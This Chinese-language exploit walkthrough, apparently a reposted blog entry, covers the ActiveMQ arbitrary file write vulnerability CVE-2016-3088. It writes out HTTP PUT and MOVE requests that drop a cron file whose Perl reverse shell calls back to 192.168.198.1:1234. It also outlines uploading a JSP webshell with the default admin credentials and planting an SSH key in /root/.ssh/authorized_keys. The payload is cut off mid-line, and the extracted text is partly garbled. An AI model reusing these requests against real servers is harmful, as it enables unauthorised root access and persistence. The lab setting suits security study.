2023年6月27日发(作者:)
ActiveMQ任意⽂件写⼊漏洞(CVE-2016-3088)上传webshell容器⽤vulhub的PUT⼀个jsp⽂件MOVE到api⽬录默认的ActiveMQ账号密码均为admin,⾸先访问your-ip:8161/admin/test/,查看ActiveMQ的绝对路径:访问其它利⽤⽅法--转写⼊crontab,⾃动化弹shell这是⼀个⽐较稳健的⽅法。⾸先上传cron配置⽂件(注意,换⾏⼀定要n,不能是rn,否则crontab执⾏会失败)PUT /fileserver/ HTTP/1.1Host: localhost:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 248*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.198.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDER将其移动到/etc/cron.d/root:MOVE /fileserver/ HTTP/1.1Destination: file:///etc/cron.d/rootHost: localhost:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 0如果上述两个请求都返回204了,说明写⼊成功。等待反弹shell:这个⽅法需要ActiveMQ是root运⾏,否则也不能写⼊cron⽂件。上传SSH公钥⽅式既然可以任意⽂件上传和移动,很⾃然的可以想到上传我们的 ssh 公钥,从⽽实现 SSH ⽅式登录。⾸先⽣成密钥对。(如果已存在则不需要)然后上传、移动到/root/.ssh/并重命名为authorized_keys之后直接ssh登录即可。
发布者:admin,转转请注明出处:http://www.yc00.com/web/1687865317a51997.html
评论列表(0条)